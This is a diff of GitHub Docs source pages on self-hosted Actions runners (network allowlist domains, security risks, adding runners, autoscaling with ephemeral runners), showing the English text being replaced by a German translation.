**Note:** Some of the domains listed below are configured using `CNAME` records. Some firewalls might require you to add rules recursively for all `CNAME` records. Note that the `CNAME` records might change in the future, and that only the domains listed below will remain constant.
**Hinweis:** Einige der unten aufgeführten Domänen werden mithilfe von `CNAME`-Einträgen konfiguriert. Für bestimmte Firewalls musst du Regeln möglicherweise rekursiv für alle `CNAME`-Einträge hinzufügen. Beachte, dass sich die `CNAME`-Einträge in Zukunft ändern können und dass nur die unten aufgeführten Domänen konstant bleiben.
{% endnote %}
**Needed for essential operations:**
**Erforderlich für wesentliche Vorgänge:**
```
github.com
api.github.com
```
**Needed for downloading actions:**
**Erforderlich für Downloadaktionen:**
```
codeload.github.com
```
**Needed for runner version updates:**
**Erforderlich für Runnerversionsupdates:**
```
objects.githubusercontent.com
@ -189,50 +186,49 @@ github-releases.githubusercontent.com
github-registry-files.githubusercontent.com
```
**Needed for uploading/downloading caches and workflow artifacts:**
**Erforderlich für den Up- und Download von Caches und Workflowartefakten:**
```
*.blob.core.windows.net
```
**Needed for retrieving OIDC tokens:**
**Erforderlich für das Abrufen von OIDC-Token:**
```
*.actions.githubusercontent.com
```
**Needed for downloading or publishing packages or containers to {% data variables.product.prodname_dotcom %} Packages:**
**Erforderlich für das Herunterladen oder Veröffentlichen von Paketen oder Containern in {% data variables.product.prodname_dotcom %}-Paketen:**
```
*.pkg.github.com
ghcr.io
```
In addition, your workflow may require access to other network resources.
Darüber hinaus benötigt dein Workflow möglicherweise Zugriff auf andere Netzwerkressourcen.
If you use an IP address allow list for your {% data variables.product.prodname_dotcom %} organization or enterprise account, you must add your self-hosted runner's IP address to the allow list. For more information, see "[Managing allowed IP addresses for your organization](/{% ifversion fpt %}enterprise-cloud@latest/{% endif %}/organizations/keeping-your-organization-secure/managing-allowed-ip-addresses-for-your-organization#using-github-actions-with-an-ip-allow-list)" or "[Enforcing policies for security settings in your enterprise](/{% ifversion fpt %}enterprise-cloud@latest/{% endif %}admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-security-settings-in-your-enterprise){% ifversion fpt %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}."{% endif %}
Wenn du eine IP-Zulassungsliste für dein {% data variables.product.prodname_dotcom %}-Organisations- oder -Unternehmenskonto verwendest, musst du der Zulassungsliste die IP-Adresse ihres selbstgehosteten Runners hinzufügen. Weitere Informationen findest du in der {% data variables.product.prodname_ghe_cloud %}-Dokumentation unter [Verwalten zulässiger IP-Adressen für deine Organisation](/{% ifversion fpt %}enterprise-cloud@latest/{% endif %}/organizations/keeping-your-organization-secure/managing-allowed-ip-addresses-for-your-organization#using-github-actions-with-an-ip-allow-list) und [Erzwingen von Richtlinien für Sicherheitseinstellungen in deinem Unternehmen](/{% ifversion fpt %}enterprise-cloud@latest/{% endif %}admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-security-settings-in-your-enterprise){% ifversion fpt %}.{% else %}."{% endif %}
{% else %}
{% ifversion ghes %}Self-hosted runners do not require any external internet access in order to function. As a result, you can use network routing to direct communication between the self-hosted runner and {% data variables.location.product_location %}. For example, you can assign a private IP address to your self-hosted runner and configure routing to send traffic to {% data variables.location.product_location %}, with no need for traffic to traverse a public network.{% endif %}
{% ifversion ghes %}Selbstgehostete Runner erfordern keinen externen Internetzugriff für ihre Funktionsfähigkeit. Daher kannst du das Netzwerkrouting zur direkten Kommunikation zwischen dem selbstgehosteten Runner und {% data variables.location.product_location %} nutzen. Du kannst deinem selbstgehosteten Runner zum Beispiel eine private IP-Adresse zuweisen und das Routing so konfigurieren, dass der Datenverkehr an {% data variables.location.product_location %} gesendet wird, ohne dass der Datenverkehr ein öffentliches Netzwerk durchlaufen muss.{% endif %}
{% endif %}
{% ifversion ghae %}
If you use an IP address allow list for your {% data variables.product.prodname_dotcom %} organization or enterprise account, you must add your self-hosted runner's IP address to the allow list. For more information, see "[Managing allowed IP addresses for your organization](/organizations/keeping-your-organization-secure/managing-allowed-ip-addresses-for-your-organization#using-github-actions-with-an-ip-allow-list)."
{% ifversion ghae %} Wenn du eine IP-Zulassungsliste für dein {% data variables.product.prodname_dotcom %}-Organisations- oder -Unternehmenskonto verwendest, musst du der Zulassungsliste die IP-Adresse ihres selbstgehosteten Runners hinzufügen. Weitere Informationen findest du unter [Verwalten zulässiger IP-Adressen für deine Organisation](/organizations/keeping-your-organization-secure/managing-allowed-ip-addresses-for-your-organization#using-github-actions-with-an-ip-allow-list).
{% endif %}
You can also use self-hosted runners with a proxy server. For more information, see "[Using a proxy server with self-hosted runners](/actions/automating-your-workflow-with-github-actions/using-a-proxy-server-with-self-hosted-runners)."
Du kannst auch selbstgehostete Runner auch mit einem Proxyserver verwenden. Weitere Informationen findest du unter [Verwenden eines Proxyservers mit selbstgehosteten Runnern](/actions/automating-your-workflow-with-github-actions/using-a-proxy-server-with-self-hosted-runners).
For more information about troubleshooting common network connectivity issues, see "[Monitoring and troubleshooting self-hosted runners](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#troubleshooting-network-connectivity)."
Weitere Informationen zur Problembehandlung allgemeiner Netzwerkkonnektivitätsprobleme findest du unter [Überwachung und Problembehandlung von selbstgehosteten Runnern](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#troubleshooting-network-connectivity).
{% ifversion ghes or ghae %}
## Communication between self-hosted runners and {% data variables.product.prodname_dotcom_the_website %}
## Kommunikation zwischen selbstgehosteten Runnern und {% data variables.product.prodname_dotcom_the_website %}
Self-hosted runners do not need to connect to {% data variables.product.prodname_dotcom_the_website %} unless you have enabled automatic access to {% data variables.product.prodname_dotcom_the_website %} actions for {% data variables.location.product_location %}. For more information, see "[About using actions in your enterprise](/admin/github-actions/managing-access-to-actions-from-githubcom/about-using-actions-in-your-enterprise)."
Selbstgehostete Runner müssen keine Verbindung mit {% data variables.product.prodname_dotcom_the_website %} herstellen, es sei denn, du hast den automatischen Zugriff auf {% data variables.product.prodname_dotcom_the_website %}-Aktionen für {% data variables.location.product_location %} aktiviert. Weitere Informationen findest du unter [Informationen zum Verwenden von Aktionen in deinem Unternehmen](/admin/github-actions/managing-access-to-actions-from-githubcom/about-using-actions-in-your-enterprise).
If you have enabled automatic access to {% data variables.product.prodname_dotcom_the_website %} actions, then the self-hosted runner will connect directly to {% data variables.product.prodname_dotcom_the_website %} to download actions. You must ensure that the machine has the appropriate network access to communicate with the {% data variables.product.prodname_dotcom %} URLs listed below.
Wenn du den automatischen Zugriff auf {% data variables.product.prodname_dotcom_the_website %}-Aktionen aktiviert hast, wird der selbstgehostete Runner direkt mit {% data variables.product.prodname_dotcom_the_website %} verbunden, um Aktionen herunterzuladen. Du musst sicherstellen, dass der Rechner über den entsprechenden Netzwerkzugriff verfügt, um mit den nachfolgend aufgelisteten {% data variables.product.prodname_dotcom %}-URLs zu kommunizieren.
```
github.com
@ -242,13 +238,13 @@ codeload.github.com
{% note %}
**Note:** Some of the domains listed above are configured using `CNAME` records. Some firewalls might require you to add rules recursively for all `CNAME` records. Note that the `CNAME` records might change in the future, and that only the domains listed above will remain constant.
**Hinweis:** Einige der oben aufgeführten Domänen werden mithilfe von `CNAME`-Einträgen konfiguriert. Für bestimmte Firewalls musst du Regeln möglicherweise rekursiv für alle `CNAME`-Einträge hinzufügen. Beachte, dass sich die `CNAME`-Einträge in Zukunft ändern können und dass nur die oben aufgeführten Domänen konstant bleiben.
{% endnote %}
{% endif %}
## Self-hosted runner security
## Sicherheit von selbstgehosteten Runnern
{% ifversion fpt or ghec %}
@ -258,23 +254,23 @@ codeload.github.com
{% ifversion fpt or ghec %}
This is not an issue with {% data variables.product.prodname_dotcom %}-hosted runners because each {% data variables.product.prodname_dotcom %}-hosted runner is always a clean isolated virtual machine, and it is destroyed at the end of the job execution.
Dieses Problem besteht nicht mit von {% data variables.product.prodname_dotcom %} gehosteten Runnern, da jeder von {% data variables.product.prodname_dotcom %} gehostete Runner immer aus einer klar isolierten VM besteht und am Ende der Auftragsausführung endgültig gelöscht wird.
{% endif %}
Untrusted workflows running on your self-hosted runner pose significant security risks for your machine and network environment, especially if your machine persists its environment between jobs. Some of the risks include:
Nicht vertrauenswürdige Workflows auf deinem selbstgehosteten Runner stellen erhebliche Sicherheitsrisiken für deine Computer- und Netzwerkumgebung dar, insbesondere wenn deine Computerumgebung auftragsübergreifend bestehen bleibt. Beispiele für Risiken:
* Malicious programs running on the machine.
* Escaping the machine's runner sandbox.
* Exposing access to the machine's network environment.
* Persisting unwanted or dangerous data on the machine.
* Schadprogramme, die auf dem Rechner laufen.
* Ausbruch aus der Runner-Sandbox der Maschine.
* Der Zugriff auf die Netzwerkumgebung der Maschine wird offengelegt.
* Unerwünschte oder gefährliche Daten werden dauerhaft auf der Maschine gespeichert.
For more information about security hardening for self-hosted runners, see "[Security hardening for {% data variables.product.prodname_actions %}](/actions/security-guides/security-hardening-for-github-actions#hardening-for-self-hosted-runners)."
Weitere Informationen zur Sicherheitshärtung von selbstgehostete Runnern findest du unter [Sicherheitshärten für {% data variables.product.prodname_actions %}](/actions/security-guides/security-hardening-for-github-actions#hardening-for-self-hosted-runners).
{% ifversion ghec or ghes or ghae %}
## Further reading
## Weitere Informationsquellen
- "[Getting started with self-hosted runners for your enterprise](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-self-hosted-runners-for-your-enterprise)"
- [Erste Schritte mit selbstgehosteten Runnern für dein Unternehmen](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-self-hosted-runners-for-your-enterprise)
{% endif %}

Просмотреть файл

@ -1,6 +1,6 @@
---
title: Adding self-hosted runners
intro: 'You can add a self-hosted runner to a repository, an organization, or an enterprise.'
title: Selbst-gehostete Runner hinzufügen
intro: 'Du kannst einem Repository, einer Organisation oder einem Unternehmen einen selbstgehosteten Runner hinzufügen.'
redirect_from:
- /github/automating-your-workflow-with-github-actions/adding-self-hosted-runners
- /actions/automating-your-workflow-with-github-actions/adding-self-hosted-runners
@ -11,91 +11,71 @@ versions:
ghec: '*'
type: tutorial
shortTitle: Add self-hosted runners
ms.openlocfilehash: c58fbc6ac67fe1466458888eb0c55f58483dac6c
ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
ms.translationtype: HT
ms.contentlocale: de-DE
ms.lasthandoff: 10/25/2022
ms.locfileid: '148109297'
---
{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %}
{% data reusables.actions.enterprise-beta %}
{% data reusables.actions.enterprise-github-hosted-runners %}
Du kannst einem Repository, einer Organisation oder einem Unternehmen einen selbstgehosteten Runner hinzufügen.
You can add a self-hosted runner to a repository, an organization, or an enterprise.
Wenn du ein Organisations- oder Unternehmensadministrator bist, möchtest du möglicherweise deine selbstgehosteten Runner auf Organisations- oder Unternehmensebene hinzufügen. Mit diesem Ansatz machst du den Runner für mehrere Repositorys in deiner Organisation oder deinem Unternehmen verfügbar und kannst deine Runner an einem zentralen Ort verwalten.
If you are an organization or enterprise administrator, you might want to add your self-hosted runners at the organization or enterprise level. This approach makes the runner available to multiple repositories in your organization or enterprise, and also lets you to manage your runners in one place.
Informationen zu unterstützten Betriebssystemen für selbstgehostete Runner oder zur Verwendung von selbstgehosteten Runnern mit einem Proxyserver findest du unter [Informationen zu selbstgehosteten Runnern](/github/automating-your-workflow-with-github-actions/about-self-hosted-runners).
For information on supported operating systems for self-hosted runners, or using self-hosted runners with a proxy server, see "[About self-hosted runners](/github/automating-your-workflow-with-github-actions/about-self-hosted-runners)."
{% ifversion not ghae %} {% warning %}
{% ifversion not ghae %}
{% warning %}
**Warnung:** {% data reusables.actions.self-hosted-runner-security %}
**Warning:** {% data reusables.actions.self-hosted-runner-security %}
Weitere Informationen findest du unter „[Informationen zu selbstgehosteten Runnern](/github/automating-your-workflow-with-github-actions/about-self-hosted-runners#self-hosted-runner-security-with-public-repositories)“.
For more information, see "[About self-hosted runners](/github/automating-your-workflow-with-github-actions/about-self-hosted-runners#self-hosted-runner-security-with-public-repositories)."
{% endwarning %}
{% endif %}
{% endwarning %} {% endif %}
{% ifversion fpt or ghec or ghes %}
You can set up automation to scale the number of self-hosted runners. For more information, see "[Autoscaling with self-hosted runners](/actions/hosting-your-own-runners/autoscaling-with-self-hosted-runners)."
Du kannst eine Automatisierung einrichten, um die Anzahl der selbstgehosteten Runner zu skalieren. Weitere Informationen findest du unter [Automatische Skalierung mit selbstgehosteten Runnern](/actions/hosting-your-own-runners/autoscaling-with-self-hosted-runners).
{% endif %}
## Prerequisites
## Voraussetzungen
{% data reusables.actions.self-hosted-runners-prerequisites %}
## Adding a self-hosted runner to a repository
## Einen selbst-gehosteten Runner zu einem Repository hinzufügen
You can add self-hosted runners to a single repository. To add a self-hosted runner to a user repository, you must be the repository owner. For an organization repository, you must be an organization owner or have admin access to the repository. For information about how to add a self-hosted runner with the REST API, see "[Self-hosted runners](/rest/reference/actions#self-hosted-runners)."
Du kannst selbst-gehostete Runner zu einem einzigen Repository hinzufügen. Um einem Benutzerrepository einen selbstgehosteten Runner hinzuzufügen, musst du der Repositorybesitzer sein. Für ein Organisationsrepository musst du der Besitzer der Organisation sein oder über Administratorzugriff auf das Repository verfügen. Weitere Informationen zum Hinzufügen eines selbstgehosteten Runners mit der REST-API findest du unter [Selbstgehostete Runner](/rest/reference/actions#self-hosted-runners).
{% ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %}
{% data reusables.repositories.navigate-to-repo %}
{% data reusables.repositories.sidebar-settings %}
{% data reusables.repositories.settings-sidebar-actions-runners %}
1. Click **New self-hosted runner**.
{% data reusables.actions.self-hosted-runner-configure %}
{% elsif ghae or ghes < 3.4 %}
{% data reusables.repositories.navigate-to-repo %}
{% data reusables.repositories.sidebar-settings %}
{% data reusables.repositories.settings-sidebar-actions-runners %}
1. Under {% ifversion ghes or ghae or ghec %}"Runners"{% else %}"Self-hosted runners"{% endif %}, click **Add runner**.
{% data reusables.actions.self-hosted-runner-configure %}
{% endif %}
{% data reusables.actions.self-hosted-runner-check-installation-success %}
{% ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %} {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %} {% data reusables.repositories.settings-sidebar-actions-runners %}
1. Klicke auf **Neuer selbstgehosteter Runner**.
{% data reusables.actions.self-hosted-runner-configure %} {% elsif ghae or ghes < 3.4 %} {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %} {% data reusables.repositories.settings-sidebar-actions-runners %}
1. Klicke unter {% ifversion ghes or ghae or ghec %}„Runner“{% else %}„Selbstgehostete Runner“{% endif %} auf **Runner hinzufügen**.
{% data reusables.actions.self-hosted-runner-configure %} {% endif %} {% data reusables.actions.self-hosted-runner-check-installation-success %}
For more information, see "[Monitoring and troubleshooting self-hosted runners](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners)."
Weitere Informationen findest du unter [Überwachen von und Behandeln von Problemen mit selbstgehosteten Runnern](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners).
## Adding a self-hosted runner to an organization
## Einen selbst-gehosteten Runner zu einer Organisation hinzufügen
You can add self-hosted runners at the organization level, where they can be used to process jobs for multiple repositories in an organization. To add a self-hosted runner to an organization, you must be an organization owner. For information about how to add a self-hosted runner with the REST API, see "[Self-hosted runners](/rest/reference/actions#self-hosted-runners)."
Du kannst selbst-gehostete Runner auf Organisationsebene hinzufügen, wo sie verwendet werden können, um Jobs für mehrere Repositories in einer Organisation zu verarbeiten. Um einen selbst-gehosteten Runner zu einer Organisation hinzuzufügen, musst du Organisationsinhaber sein. Weitere Informationen zum Hinzufügen eines selbstgehosteten Runners mit der REST-API findest du unter [Selbstgehostete Runner](/rest/reference/actions#self-hosted-runners).
{% ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %}
{% data reusables.organizations.navigate-to-org %}
{% data reusables.organizations.org_settings %}
{% data reusables.organizations.settings-sidebar-actions-runners %}
{% ifversion actions-hosted-runners %}1. Click **New runner**, then click **New self-hosted runner**.{% else %}1. Click **New runner**.{% endif %}
{% data reusables.actions.self-hosted-runner-configure %}
{% elsif ghae or ghes < 3.4 %}
{% data reusables.organizations.navigate-to-org %}
{% data reusables.organizations.org_settings %}
{% data reusables.organizations.settings-sidebar-actions-runners %}
1. Under {% ifversion ghes or ghae %}"Runners", click **Add new**, then click **New runner**.{% endif %}
{% data reusables.actions.self-hosted-runner-configure %}
{% endif %}
{% data reusables.actions.self-hosted-runner-check-installation-success %}
{% ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %} {% data reusables.organizations.navigate-to-org %} {% data reusables.organizations.org_settings %} {% data reusables.organizations.settings-sidebar-actions-runners %} {% ifversion actions-hosted-runners %}1. Klicke auf **Neuer Runner** und dann auf **Neuer selbstgehosteter Runner**.{% else %}1. Klicke auf **Neuer Runner**.{% endif %} {% data reusables.actions.self-hosted-runner-configure %} {% elsif ghae or ghes < 3.4 %} {% data reusables.organizations.navigate-to-org %} {% data reusables.organizations.org_settings %} {% data reusables.organizations.settings-sidebar-actions-runners %}
1. Klicke unter {% ifversion ghes or ghae %}„Runner“ auf **Neu hinzufügen** und anschließend auf **Neuer Runner**.{% endif %} {% data reusables.actions.self-hosted-runner-configure %} {% endif %} {% data reusables.actions.self-hosted-runner-check-installation-success %}
For more information, see "[Monitoring and troubleshooting self-hosted runners](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners)."
Weitere Informationen findest du unter [Überwachen von und Behandeln von Problemen mit selbstgehosteten Runnern](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners).
{% data reusables.actions.self-hosted-runner-public-repo-access %}
## Adding a self-hosted runner to an enterprise
## Hinzufügen eines selbstgehosteten Runners zu einem Unternehmen
{% ifversion fpt %}If you use {% data variables.product.prodname_ghe_cloud %}, you{% elsif ghec or ghes or ghae %}You{% endif %} can add self-hosted runners to an enterprise, where they can be assigned to multiple organizations. The organization admins are then able to control which repositories can use it. {% ifversion fpt %}For more information, see the [{% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest/actions/hosting-your-own-runners/adding-self-hosted-runners#adding-a-self-hosted-runner-to-an-enterprise).{% endif %}
{% ifversion fpt %}Wenn du {% data variables.product.prodname_ghe_cloud %} verwendest, kannst du{% elsif ghec or ghes or ghae %}Du kannst{% endif %} einem Unternehmen selbstgehostete Runner hinzufügen. Von dort können sie dann mehreren Organisationen zugewiesen werden. Die Organisationsadministrator*innen können dann steuern, welche Repositorys sie verwenden können. {% ifversion fpt %}Weitere Informationen findest du in der [Dokumentation zu {% data variables.product.prodname_ghe_cloud %}](/enterprise-cloud@latest/actions/hosting-your-own-runners/adding-self-hosted-runners#adding-a-self-hosted-runner-to-an-enterprise).{% endif %}
{% ifversion ghec or ghes or ghae %}
New runners are assigned to the default group. You can modify the runner's group after you've registered the runner. For more information, see "[Managing access to self-hosted runners](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#moving-a-self-hosted-runner-to-a-group)."
{% ifversion ghec or ghes or ghae %} Neue Runner werden der Standardgruppe zugewiesen. Du kannst die Gruppe des Runners ändern, nachdem du den Läufer registriert hast. Weitere Informationen findest du unter [Verwalten des Zugriffs auf selbstgehostete Runner](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#moving-a-self-hosted-runner-to-a-group).
{% ifversion ghec or ghes > 3.3 or ghae > 3.3 %}
To add a self-hosted runner to an enterprise, you must be an enterprise owner. For information about how to add a self-hosted runner with the REST API, see the enterprise endpoints in the [{% data variables.product.prodname_actions %} REST API](/rest/reference/actions#self-hosted-runners).
Um einem Unternehmen einen selbstgehosteten Runner hinzufügen zu können, musst du ein Unternehmensbesitzer sein. Weitere Informationen zum Hinzufügen eines selbstgehosteten Runners mit der REST-API findest du unter den Unternehmensendpunkten in der [{% data variables.product.prodname_actions %}-REST-API](/rest/reference/actions#self-hosted-runners).
{% endif %}
@ -103,23 +83,23 @@ To add a self-hosted runner to an enterprise, you must be an enterprise owner. F
{% data reusables.actions.self-hosted-runner-check-installation-success %}
For more information, see "[Monitoring and troubleshooting self-hosted runners](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners)."
Weitere Informationen findest du unter [Überwachen von und Behandeln von Problemen mit selbstgehosteten Runnern](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners).
{% data reusables.actions.self-hosted-runner-public-repo-access %}
### Making enterprise runners available to repositories
### Verfügbarmachen von Unternehmensrunnern für Repositorys
By default, runners in an enterprise's "Default" self-hosted runner group are available to all organizations in the enterprise, but are not available to all repositories in each organization.
Standardmäßig sind Runner in der selbstgehosteten Runnergruppe „Default“ eines Unternehmens für alle Organisationen im Unternehmen verfügbar, dies gilt aber nicht für alle Repositorys in jeder Organisation.
To make an enterprise-level self-hosted runner group available to an organization repository, you might need to change the organization's inherited settings for the runner group to make the runner available to repositories in the organization.
Um eine selbstgehostete Runnergruppe auf Unternehmensebene für ein Organisationsrepository verfügbar zu machen, musst du möglicherweise die geerbten Einstellungen der Organisation für die Runnergruppe ändern, um den Runner für Repositorys in der Organisation verfügbar zu machen.
For more information on changing runner group access settings, see "[Managing access to self-hosted runners using groups](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#changing-the-access-policy-of-a-self-hosted-runner-group)."
Weitere Informationen zum Ändern der Zugriffseinstellungen für Runnergruppen findest du unter [Verwalten des Zugriffs auf selbstgehostete Runner mithilfe von Gruppen](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#changing-the-access-policy-of-a-self-hosted-runner-group).
{% endif %}
{% ifversion ghec or ghes or ghae %}
## Further reading
## Weitere Informationsquellen
- "[Getting started with self-hosted runners for your enterprise](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-self-hosted-runners-for-your-enterprise)"
- [Erste Schritte mit selbstgehosteten Runnern für dein Unternehmen](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-self-hosted-runners-for-your-enterprise)
{% endif %}

Просмотреть файл

@ -1,107 +1,111 @@
---
title: Autoscaling with self-hosted runners
title: Automatische Skalierung mit selbstgehosteten Runnern
shortTitle: Autoscale self-hosted runners
intro: You can automatically scale your self-hosted runners in response to webhook events.
intro: Du kannst deine selbstgehosteten Runner als Reaktion auf Webhookereignisse automatisch skalieren.
versions:
fpt: '*'
ghec: '*'
ghes: '*'
ghae: '*'
type: overview
ms.openlocfilehash: 2fe0c197ac122ea9cd976c2718a492bd80c073fe
ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
ms.translationtype: HT
ms.contentlocale: de-DE
ms.lasthandoff: 10/25/2022
ms.locfileid: '148107557'
---
{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %}
{% data reusables.actions.enterprise-beta %}
{% data reusables.actions.enterprise-github-hosted-runners %}
## Informationen zur automatischen Skalierung
## About autoscaling
Du kannst die Anzahl selbstgehosteter Runner in deiner Umgebung als Reaktion auf Webhookereignisse, die du mit einer bestimmten Bezeichnung erhältst, automatisch erhöhen oder verringern. Beispielsweise kannst du eine Automatisierung erstellen, die jedes Mal einen neuen selbstgehosteten Runner hinzufügt, wenn du ein [`workflow_job`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#workflow_job)-Webhookereignis mit der [`queued`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#workflow_job)-Aktivität erhältst, wodurch du darüber benachrichtigt wirst, dass ein neuer Auftrag verarbeitet werden kann. Die Webhooknutzdaten enthalten Bezeichnungsdaten, damit du die Art des Runners identifizieren kannst, den der Auftrag anfordert. Nachdem der Auftrag abgeschlossen ist, kannst du eine Automatisierung erstellen, durch die der Runner als Reaktion auf die `workflow_job`-[`completed`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#workflow_job)-Aktivität entfernt wird.
You can automatically increase or decrease the number of self-hosted runners in your environment in response to the webhook events you receive with a particular label. For example, you can create automation that adds a new self-hosted runner each time you receive a [`workflow_job`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#workflow_job) webhook event with the [`queued`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#workflow_job) activity, which notifies you that a new job is ready for processing. The webhook payload includes label data, so you can identify the type of runner the job is requesting. Once the job has finished, you can then create automation that removes the runner in response to the `workflow_job` [`completed`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#workflow_job) activity.
## Empfohlene Lösungen für die automatische Skalierung
## Recommended autoscaling solutions
{% data variables.product.prodname_dotcom %} empfiehlt und arbeitet eng mit zwei Open-Source-Projekten zusammen, die du zum automatischen Skalieren deiner Runner verwenden kannst. Abhängig von deinen Anforderungen können eine oder beide Lösungen geeignet sein.
{% data variables.product.prodname_dotcom %} recommends and partners closely with two open source projects that you can use for autoscaling your runners. One or both solutions may be suitable, based on your needs.
In den folgenden Repositorys sind detaillierte Anweisungen zum Einrichten dieser Autoskalierungen enthalten:
The following repositories have detailed instructions for setting up these autoscalers:
- [actions-runner-controller/actions-runner-controller](https://github.com/actions-runner-controller/actions-runner-controller): Ein Kubernetes-Controller für selbstgehostete {% data variables.product.prodname_actions %}-Runner
- [philips-labs/terraform-aws-github-runner](https://github.com/philips-labs/terraform-aws-github-runner): Ein Terraform-Modul für skalierbare {% data variables.product.prodname_actions %}-Runner auf Amazon Web Services
- [actions-runner-controller/actions-runner-controller](https://github.com/actions-runner-controller/actions-runner-controller) - A Kubernetes controller for {% data variables.product.prodname_actions %} self-hosted runners.
- [philips-labs/terraform-aws-github-runner](https://github.com/philips-labs/terraform-aws-github-runner) - A Terraform module for scalable {% data variables.product.prodname_actions %} runners on Amazon Web Services.
Jede Lösung weist bestimmte Eigenschaften auf, die du bedenken solltest:
Each solution has certain specifics that may be important to consider:
| **Features** | **actions-runner-controller** | **terraform-aws-github-runner** |
| **Funktionen** | **actions-runner-controller** | **terraform-aws-github-runner** |
| :--- | :--- | :--- |
| Runtime | Kubernetes | Linux and Windows VMs |
| Supported Clouds | Azure, Amazon Web Services, Google Cloud Platform, on-premises | Amazon Web Services |
| Where runners can be scaled | Enterprise, organization, and repository levels. By runner label and runner group. | Organization and repository levels. By runner label and runner group. |
| How runners can be scaled | Webhook events, Scheduled, Pull-based | Webhook events, Scheduled (org-level runners only) |
| Typ | Kubernetes | Linux- und Windows-VMs |
| Unterstützte Clouds | Azure, Amazon Web Services, Google Cloud Platform, lokal | Amazon Web Services |
| Wo Runner skaliert werden können | Auf Unternehmens-, Organisations- und Repositoryebenen. Nach Runnerbezeichnung und Runnergruppe. | Auf Organisations- und Repositoryebenen. Nach Runnerbezeichnung und Runnergruppe. |
| Wie Runner skaliert werden können | Webhookereignisse, Geplant, Pull-basiert | Webhookereignisse, Geplant (Nur Runner auf Organisationsebene) |
## Using ephemeral runners for autoscaling
## Verwenden von kurzlebigen Runnern für die automatische Skalierung
{% data variables.product.prodname_dotcom %} recommends implementing autoscaling with ephemeral self-hosted runners; autoscaling with persistent self-hosted runners is not recommended. In certain cases, {% data variables.product.prodname_dotcom %} cannot guarantee that jobs are not assigned to persistent runners while they are shut down. With ephemeral runners, this can be guaranteed because {% data variables.product.prodname_dotcom %} only assigns one job to a runner.
{% data variables.product.prodname_dotcom %} empfiehlt die Implementierung der automatischen Skalierung mit kurzlebigen selbstgehosteten Runnern. Die automatische Skalierung mit beständigen selbstgehosteten Runnern wird nicht empfohlen. In bestimmten Fällen kann {% data variables.product.prodname_dotcom %} nicht garantieren, dass Aufträge keinen beständigen Runnern zugewiesen werden, während sie heruntergefahren werden. Bei kurzlebigen Runnern kann dies garantiert werden, da {% data variables.product.prodname_dotcom %} nur einen Auftrag pro Runner zuweist.
This approach allows you to manage your runners as ephemeral systems, since you can use automation to provide a clean environment for each job. This helps limit the exposure of any sensitive resources from previous jobs, and also helps mitigate the risk of a compromised runner receiving new jobs.
Mit diesem Ansatz kannst du deine Runner als kurzlebige Systeme verwalten, da du die Automatisierung dafür verwenden kannst, eine bereinigte Umgebung für jeden Auftrag bereitzustellen. Dadurch kann die Gefährdung von vertraulichen Ressourcen aus vorherigen Aufträgen begrenzt und auch das Risiko der Kompromittierung eines Runners, der neue Aufträge erhält, verringert werden.
To add an ephemeral runner to your environment, include the `--ephemeral` parameter when registering your runner using `config.sh`. For example:
Wenn du deiner Umgebung einen kurzlebigen Runner hinzufügen möchtest, füge den `--ephemeral`-Parameter beim Registrieren deines Runners mit `config.sh` ein. Beispiel:
```shell
./config.sh --url https://github.com/octo-org --token example-token --ephemeral
```
The {% data variables.product.prodname_actions %} service will then automatically de-register the runner after it has processed one job. You can then create your own automation that wipes the runner after it has been de-registered.
Der {% data variables.product.prodname_actions %}-Dienst hebt die Registrierung des Runners automatisch auf, nachdem ein Auftrag verarbeitet wurde. Anschließend kannst du deine eigene Automatisierung erstellen, die den Runner löscht, sobald die Registrierung aufgehoben wurde.
{% note %}
**Note:** If a job is labeled for a certain type of runner, but none matching that type are available, the job does not immediately fail at the time of queueing. Instead, the job will remain queued until the 24 hour timeout period expires.
**Hinweis:** Wenn ein Auftrag für eine bestimmte Art von Runner gekennzeichnet ist, aber kein passender Runner verfügbar ist, schlägt der Auftrag in der Warteschlange nicht sofort fehl. Stattdessen bleibt der Auftrag bis zum Ablauf des Timeoutzeitraums von 24 Stunden in der Warteschlange.
{% endnote %}
{% ifversion fpt or ghec or ghes > 3.4 or ghae %}
## Controlling runner software updates on self-hosted runners
## Steuern von Softwareupdates für selbstgehostete Runner
